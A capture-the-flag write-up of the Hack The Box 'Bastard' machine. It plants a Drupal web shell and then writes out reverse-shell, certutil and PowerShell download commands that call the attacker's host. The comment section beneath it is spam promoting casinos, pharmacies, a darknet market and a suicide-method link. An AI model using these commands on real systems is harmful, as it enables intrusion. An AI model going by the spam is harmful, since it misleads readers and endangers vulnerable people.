Bastard

Note: In an attempt to be OSCP friendly, NONE of my write ups will utilize Metasploit. Zero. Zip. Tell your friends.

Because change sucks, we’ll start with our same old nMap scan: nmap -sV 10.10.10.9

So three ports open, let’s see if we can get a little more info but just on the three ports we found: nmap -p 80,134,49154 -A 10.10.10.9

It looks like Drupal 7 is running behind port 80. We can also see that there is a CHANGELOG.txt file, so let’s navigate to that by bringing up our browser.

Drupal 7.54 is the exact version we’re working with. Cool cool. Let’s see if there’s anything in Searchsploit for that: searchsploit drupal 7

Glancing through this there appears to be a Remote code execution vulnerability for different variants of Drupal 7


Let’s copy that guy to our current directory and take a look at it: cp /usr/share/exploitdb/exploits/php/webapps/41564.php ./exploit.php

Before executing it, we need to read more about it. A little bit of Googling found this article: https://www.ambionics.io/blog/drupal-services-module-rce

It’s a long article, but it’s informative. It looks like within the exploit there are three values we need to update:

The URL is easy enough, that’s the IP of our target. The endpoint path and endpoint we’ll need to enumerate. Back to Gobuster: gobuster dir -u http://10.10.10.9 –wordlist=/usr/share/wordlists/dirb/big.txt -s 200,301,302 -o bastard.go –timeout 30s

We can see in the GoBuster results that there is a /rest location, so we’ll add that to our script. We also need to update the file in our script. The default code in there creates a file called dixuSOspsOUU.php and puts a web shell in it, but it’s not one I’m super familiar with. I guess we can give it a shot….so we’ll leave it alone for now.

Thus when it’s all updated it looks like this:


When I tried running the script initially with php exploit.php I was informed there were two #’s missing on line 16 and line 71 for comments. Now, let’s run it again:

It looks like I’m missing the php-curl package. Let’s install it right quick with apt-get install php-curl

And I still get a damn error. So Googling happened. In the php.ini file located in /etc/php/7.3/apache2/php.ini and enabled curl by removing the ; in front of it:

And that still didn’t work..same error. So when I did php -m I didn’t see curl…..

I knew that I had PHP version 7.3 because that’s what showed up when I typed php –version So I removed it: sudo apt-get purge php7.3

Which left me with PHP 7.4 and the curl module showing up:

And this time when I did php exploit.php it appears to have created the necessary files:

Now, when I navigate to the page I couldn’t get the RCE to work….


So I copied my existing file, named it exploit.php and changed the shell

Re-ran that:

Then navigated to http://10.10.10.9/exploit.php?cmd=dir to see what we got:

Well that’s some form of success. Now, let’s see if we can get a shell with NetCat.

Windows doesn’t have NetCat installed by default so we’ll have to setup a SMB server on our Kali box. Let’s start with getting nc.exe in the right place:

We’ll start our smb server with the following command impacket-smbserver smb smb

Then let’s try to copy nc.exe from our browser to our Windows target machine with the following: http://10.10.10.9/exploit.php?cmd=copy \\10.10.14.18\smb\nc.exe nc.exe

Now, we’ll start our NetCat listner on our Kali box:

Then we’ll use our browser to establish our NetCat connection: http://10.10.10.9/exploit.php?cmd=nc.exe 10.10.14.18 1234 -e cmd.exe

Priv Esc

We’ll start with a look at systeminfo

The main thing that stands out here is that we’ve got a Windows Server 2008 R2 machine, that’s 64 bit. Further enumeration showed there aren’t any patches to it. I think we’ll try WinPEAS to further enumerate, but we have to get it on our Windows box first.

WinPEAS can be downloaded here; https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe

I downloaded it and put it in my working folder that I used earlier to get NetCat. Now, we’re going to use certutil to pull it over. I navigated to C:\inetpub\drupal-7.54 so I could copy the file here since I didn’t have write access to C:\Windows\Temp or the user’s desktop (where the user.txt flag is).

Now, let’s get the file: certutil -urlcache -f http://10.10.14.18/winPEASx64.exe winpeas.exe

Success. Now let’s run it: ./winpeas.exe

Sum bitch…. WinPEAS also comes as a .bat, so let’s download that off github right quick and pull it over the same way we just did.

And I’ll save you a bunch of time and troubleshooting..couldn’t get WinPEAS to execute on the Windows box. I kept getting a ‘is not recognized as an internal or external command, operable program or batch file’. So on to PowerUp.

PowerUp

I’ve used PowerUp beffore on Chatterbox, so let’s give it a shot again. I just copied it from my Chatterbox directory, but you can also get it from here: https://github.com/PowerShellMafia/PowerSploit

Now, we’ll copy it over to our Windows target machine: certutil -urlcache -f http://10.10.14.18/PowerUp.ps1 PowerUp.ps1

Copied it over..and tried to run it…same damn error….

So..I tweaked some stuff after doing some research. For starters, I added Invoke-AllChecks to the bottom of the PowerUp.ps1 script. PowerUp is meant to run in PowerShell Empire and the Invoke-AllChecks is started automatically when you run it with Empire. Invoke-AllChecks loads all the functions of the script. So when we add it to the end of our script it’ll do that load for us.

Then, I went back to using the browser and running commands from there. So from here, we’ll pull PowerUp.ps1 from our Kali box and then load it in the browser: http://10.10.10.9/exploit.php?cmd=echo IEX(New-Object Net.WebClient).DownloadString(“http://10.10.14.18/PowerUp.ps1”) | powershell -noprofile –

It’s going to take a few moments to run, but once it’s finished you should see something like this:

And because that’s super hard to read let’s right click on it and view selection source.

And nothing in here is super helpful….

Watson

33 thoughts on “Bastard”

  1. На сайте MixWatch вы сможете найти актуальные новости из мира часов.
    Тут выходят обзоры новинок и аналитика популярных брендов.
    Ознакомьтесь с экспертными мнениями по трендам в часовом искусстве.
    Следите за всеми событиями индустрии!
    https://mixwatch.ru/

  2. Клиника премиум-класса предлагает современное лечение всем пациентам.
    В нашем центре персонализированное лечение и заботу о вашем здоровье.
    Наши врачи — это высококвалифицированные специалисты, работающие с современным оборудованием.
    Наши услуги включают услуги в различных медицинских направлениях, в том числе медицинские услуги по восстановлению здоровья.
    Мы ценим ваше доверие — важнейшая задача нашего коллектива.
    Свяжитесь с нами, и получите квалифицированную помощь.
    just-server.net

  3. Do you mind if I quote a few of your posts as long as I provide credit and sources back to your weblog? My website is in the exact same niche as yours and my visitors would certainly benefit from some of the information you provide here. Please let me know if this okay with you. Cheers!

  4. Здесь вы найдете центр ментального здоровья, которая предоставляет профессиональную помощь для людей, страдающих от стресса и других психологических расстройств. Мы предлагаем индивидуальный подход для восстановления ментального здоровья. Наши специалисты готовы помочь вам справиться с психологические барьеры и вернуться к психологическому благополучию. Квалификация наших специалистов подтверждена множеством положительных отзывов. Свяжитесь с нами уже сегодня, чтобы начать путь к оздоровлению.
    http://letadventurebegin.com/__media__/js/netsoltrademark.php?d=empathycenter.ru%2Fpreparations%2Fk%2Fkorvalol%2F

  5. Game Athlon is a popular gaming site offering exciting gameplay for gamblers of all preferences.
    The platform offers a diverse collection of slot games, live dealer games, classic casino games, and betting options.
    Players are offered smooth navigation, high-quality graphics, and easy-to-use interfaces on both desktop and mobile devices.
    http://www.gameathlon.gr
    GameAthlon focuses on security by offering secure payments and transparent RNG systems.
    Promotions and loyalty programs are frequently refreshed, giving registered users extra chances to win and extend their play.
    The customer support team is ready day and night, helping with any questions quickly and efficiently.
    This platform is the top destination for those looking for entertainment and big winnings in one reputable space.

  6. Swiss watches have long been a benchmark of excellence. Expertly made by renowned watchmakers, they perfectly unite tradition with modern technology.
    Each detail reflect unmatched workmanship, from hand-assembled movements to high-end elements.
    Investing in a Swiss watch is more than a way to check the hour. It stands for refined taste and heritage craftsmanship.
    Whether you prefer a bold statement piece, Swiss watches deliver extraordinary beauty that never goes out of style.
    https://loopzorbital.com/phpBB3/viewtopic.php?t=7720

  7. I have been surfing online more than 3 hours these days, yet I never found any interesting article like yours. It¦s pretty value sufficient for me. Personally, if all website owners and bloggers made excellent content as you probably did, the web will likely be much more useful than ever before.

  8. You can find a wide range of high-quality medicines for various needs.
    Our online pharmacy provides fast and safe shipping right to your door.
    Every item is supplied by certified suppliers so you get authenticity and compliance.
    Feel free to browse our catalog and place your order hassle-free.
    Got any concerns? Customer service will guide you 24/7.
    Prioritize your well-being with affordable medical store!
    https://www.storeboard.com/blogs/health/how-generic-cialis-helped-me-rediscover-confidence-and-joy/6074781

  9. Even with the rise of modern wearable tech, mechanical watches remain everlasting.
    Many people still appreciate the artistry behind traditional timepieces.
    Unlike modern wearables, that lose relevance, classic timepieces hold their value for decades.
    http://www.spot-a-cop.com/smf/index.php?topic=715352.new#new
    Luxury brands continue to release exclusive traditional watches, confirming that their desirability is as high as ever.
    For true enthusiasts, a traditional wristwatch is not just an accessory, but a tribute to timeless elegance.
    Even as high-tech wearables come with modern tech, traditional timepieces represent an art form that remains unmatched.

  10. Buying drugs online has become way easier than shopping in person.
    No need to wait in line or worry about closing times.
    E-pharmacies allow you to get your medications without leaving your house.
    Numerous websites provide discounts in contrast to physical stores.
    http://www.tyrfing-rp.dk/forum/viewtopic.php?f=4&t=26776
    On top of that, it’s easy to compare alternative medications without hassle.
    Quick delivery makes it even more convenient.
    Do you prefer purchasing drugs from the internet?

  11. На данном ресурсе представлены свежие новости мировой политики. Регулярные обновления помогают оставаться в курсе главных новостей. Вы узнаете о дипломатических переговорах. Экспертные мнения способствуют разобраться в деталях. Следите за новостями вместе с нами.
    https://justdoitnow03042025.com

  12. Фанаты слотов всегда могут найти рабочее зеркало казино Чемпион чтобы без проблем запустить любым игровым ассортиментом.
    В казино представлены разнообразные онлайн-игры, от ретро-автоматов до современных, и самые свежие автоматы от мировых брендов.
    Когда основной портал временно заблокирован, зеркало казино Чемпион поможет обойти ограничения и делать ставки без перебоев.
    https://casino-champions-slots.ru
    Все возможности сохраняются, включая открытие профиля, депозиты и вывод выигрышей, и, конечно, бонусную систему.
    Пользуйтесь обновленную зеркало, и наслаждаться игрой без блокировок!

  13. Чем интересен BlackSprut?
    BlackSprut привлекает интерес многих пользователей. Но что это такое?
    Этот проект обеспечивает интересные опции для тех, кто им интересуется. Визуальная составляющая сайта отличается простотой, что делает его интуитивно удобной даже для новичков.
    Стоит учитывать, что этот ресурс обладает уникальными характеристиками, которые делают его особенным на рынке.
    Обсуждая BlackSprut, нельзя не упомянуть, что многие пользователи оценивают его по-разному. Некоторые подчеркивают его функциональность, другие же относятся к нему с осторожностью.
    Таким образом, эта платформа продолжает быть объектом интереса и привлекает внимание разных пользователей.
    Ищете рабочее ссылку BlackSprut?
    Если нужен актуальный домен BlackSprut, то вы по адресу.
    bs2best
    Иногда платформа меняет адрес, поэтому приходится искать актуальное ссылку.
    Обновленный адрес легко узнать у нас.
    Посмотрите актуальную ссылку у нас!

  14. На этом сайте вы можете испытать широким ассортиментом игровых автоматов.
    Эти слоты славятся живой визуализацией и захватывающим игровым процессом.
    Каждая игра даёт индивидуальные бонусные функции, повышающие вероятность победы.
    1win
    Игра в игровые автоматы предназначена любителей азартных игр всех мастей.
    Можно опробовать игру без ставки, и потом испытать азарт игры на реальные ставки.
    Попробуйте свои силы и окунитесь в захватывающий мир слотов.

  15. Feeling empowered about your health often starts with understanding the basics. Many people find medical terminology and concepts intimidating. Investing time in learning about health can significantly improve your quality of life. Part of this learning involves familiarizing yourself with various medical preparations. Knowing the ‘why’ behind a medication or treatment plan is beneficial. This knowledge facilitates better communication with doctors and pharmacists. The iMedix podcast is a fantastic tool for gaining such understanding. As a top podcast in the health space, it offers reliable perspectives. Tune into the iMedix health podcast for expert discussions. It’s a great way to access health news podcast content.

  16. Suicide is a serious topic that affects millions of people across the world.
    It is often connected to psychological struggles, such as depression, stress, or substance abuse.
    People who contemplate suicide may feel isolated and believe there’s no solution.
    fast way to kill yourself
    Society needs to raise awareness about this subject and help vulnerable individuals.
    Mental health care can save lives, and finding help is a crucial first step.
    If you or someone you know is in crisis, get in touch with professionals.
    You are not without options, and support exists.

  17. На этом сайте вы можете наслаждаться обширной коллекцией игровых слотов.
    Слоты обладают живой визуализацией и увлекательным игровым процессом.
    Каждая игра даёт уникальные бонусные раунды, улучшающие шансы на успех.
    1xbet казино зеркало
    Слоты созданы для как новичков, так и опытных игроков.
    Можно опробовать игру без ставки, и потом испытать азарт игры на реальные ставки.
    Испытайте удачу и насладитесь неповторимой атмосферой игровых автоматов.

  18. Здесь вам открывается шанс испытать обширной коллекцией игровых автоматов.
    Эти слоты славятся красочной графикой и интерактивным игровым процессом.
    Каждая игра даёт индивидуальные бонусные функции, увеличивающие шансы на выигрыш.
    1 win
    Слоты созданы для любителей азартных игр всех мастей.
    Вы можете играть бесплатно, после чего начать играть на реальные деньги.
    Проверьте свою удачу и получите удовольствие от яркого мира слотов.

  19. На этом сайте вы можете найти разнообразные онлайн-слоты.
    Мы предлагаем лучшую коллекцию слотов от ведущих провайдеров.
    Каждая игра отличается высоким качеством, увлекательными бонусами и щедрыми выплатами.
    http://www.fpcap.com/__media__/js/netsoltrademark.php?d=casinoreg.net
    Каждый посетитель может тестировать автоматы без вложений или играть на деньги.
    Навигация по сайту просты и логичны, что делает поиск игр быстрым.
    Для любителей онлайн-казино, этот сайт — отличный выбор.
    Присоединяйтесь прямо сейчас — азарт и удача уже рядом!

  20. Здесь доступны онлайн-игры из казино Вавада.
    Любой игрок найдёт автомат по интересам — от простых одноруких бандитов до видеослотов слотов с яркой графикой.
    Платформа Vavada открывает возможность сыграть в проверенных автоматов, включая прогрессивные слоты.
    Все игры запускается без ограничений и подходит как для ПК, так и для планшетов.
    вавада зеркало
    Вы сможете испытать азартом, не выходя из любимого кресла.
    Навигация по сайту удобна, что обеспечивает быстро найти нужную игру.
    Присоединяйтесь сейчас, чтобы открыть для себя любимые слоты!

  21. Here, you can find a great variety of casino slots from leading developers.
    Users can try out traditional machines as well as feature-packed games with high-quality visuals and interactive gameplay.
    Whether you’re a beginner or a casino enthusiast, there’s something for everyone.
    play aviator
    Each title are available 24/7 and designed for laptops and tablets alike.
    You don’t need to install anything, so you can get started without hassle.
    Site navigation is user-friendly, making it convenient to browse the collection.
    Sign up today, and enjoy the world of online slots!

  22. Площадка BlackSprut — это довольно популярная онлайн-площадок в darknet-среде, открывающая разнообразные сервисы в рамках сообщества.
    На платформе реализована удобная навигация, а интерфейс понятен даже новичкам.
    Участники выделяют отзывчивость платформы и активное сообщество.
    bs2best.markets
    BlackSprut ориентирован на удобство и безопасность при использовании.
    Если вы интересуетесь альтернативные цифровые пространства, BlackSprut может стать удобной точкой старта.
    Перед использованием рекомендуется изучить основы сетевой безопасности.

  23. Новый летний период обещает быть непредсказуемым и нестандартным в плане моды.
    В тренде будут асимметрия и минимализм с изюминкой.
    Цветовая палитра включают в себя чистые базовые цвета, создающие настроение.
    Особое внимание дизайнеры уделяют тканям, среди которых популярны макросумки.
    https://sky-metaverse.com/read-blog/19304
    Опять актуальны элементы ретро-стиля, в современной обработке.
    На улицах мегаполисов уже можно увидеть трендовые образы, которые удивляют.
    Не упустите шанс, чтобы чувствовать себя уверенно.

  24. Our platform offers a wide selection of home wall-mounted clocks for all styles.
    You can browse modern and traditional styles to fit your interior.
    Each piece is chosen for its design quality and reliable performance.
    Whether you’re decorating a stylish living room, there’s always a matching clock waiting for you.
    best self adjusting atomic wall clocks
    The shop is regularly renewed with fresh designs.
    We focus on quality packaging, so your order is always in professional processing.
    Start your journey to perfect timing with just a few clicks.

  25. This online service features many types of prescription drugs for home delivery.
    Users can conveniently get health products from anywhere.
    Our range includes popular drugs and targeted therapies.
    The full range is supplied through verified providers.
    https://www.provenexpert.com/en-us/femcial-online/
    We ensure quality and care, with encrypted transactions and prompt delivery.
    Whether you’re treating a cold, you’ll find what you need here.
    Begin shopping today and get convenient healthcare delivery.

  26. На этом сайте дает возможность поиска занятости в разных регионах.
    Пользователям доступны свежие вакансии от уверенных партнеров.
    На платформе появляются вакансии в разных отраслях.
    Удалённая работа — всё зависит от вас.
    https://my-articles-online.com/
    Поиск легко осваивается и подстроен на широкую аудиторию.
    Создание профиля не потребует усилий.
    Ищете работу? — заходите и выбирайте.

  27. This website, you can find a wide selection of slot machines from famous studios.
    Players can enjoy classic slots as well as new-generation slots with high-quality visuals and interactive gameplay.
    If you’re just starting out or an experienced player, there’s a game that fits your style.
    play casino
    Each title are ready to play round the clock and optimized for desktop computers and tablets alike.
    All games run in your browser, so you can jump into the action right away.
    Platform layout is intuitive, making it simple to find your favorite slot.
    Sign up today, and dive into the world of online slots!

  28. Here, you can discover lots of slot machines from top providers.
    Users can try out classic slots as well as new-generation slots with high-quality visuals and bonus rounds.
    Even if you’re new or an experienced player, there’s something for everyone.
    play casino
    All slot machines are available round the clock and designed for desktop computers and mobile devices alike.
    All games run in your browser, so you can start playing instantly.
    The interface is intuitive, making it quick to find your favorite slot.
    Register now, and dive into the thrill of casino games!

  29. Were you aware that 1 in 3 medication users commit preventable pharmaceutical mishaps stemming from insufficient information?

    Your wellbeing is your most valuable asset. Each pharmaceutical choice you make plays crucial role in your body’s functionality. Maintaining awareness about the drugs you take should be mandatory for disease prevention.
    Your health isn’t just about following prescriptions. Every medication affects your physiology in specific ways.

    Consider these essential facts:
    1. Mixing certain drugs can cause dangerous side effects
    2. Seemingly harmless allergy medicines have strict usage limits
    3. Altering dosages reduces effectiveness

    To protect yourself, always:
    ✓ Verify interactions using official tools
    ✓ Read instructions completely when starting new prescriptions
    ✓ Speak with specialists about proper usage

    ___________________________________
    For verified medication guidance, visit:
    https://community.alteryx.com/t5/user/viewprofilepage/user-id/574171

  30. The digital drugstore features an extensive variety of pharmaceuticals with competitive pricing.
    Customers can discover all types of remedies suitable for different health conditions.
    We work hard to offer trusted brands while saving you money.
    Fast and reliable shipping provides that your medication is delivered promptly.
    Enjoy the ease of shopping online through our service.
    generic drug

  31. The site allows adventure rides throughout Crete.
    Anyone can safely book a buggy for exploration.
    When you’re looking to discover mountain roads, a buggy is the fun way to do it.
    https://telegra.ph/Discover-the-ultimate-off-road-adventure-with-our-exclusive-quad-and-buggy-safari-tours-on-the-enchanting-island-of-Crete-04-24
    Our rides are regularly serviced and offered with flexible bookings.
    On this platform is hassle-free and comes with affordable prices.
    Get ready to ride and experience Crete like never before.

Leave a Reply

Your email address will not be published. Required fields are marked *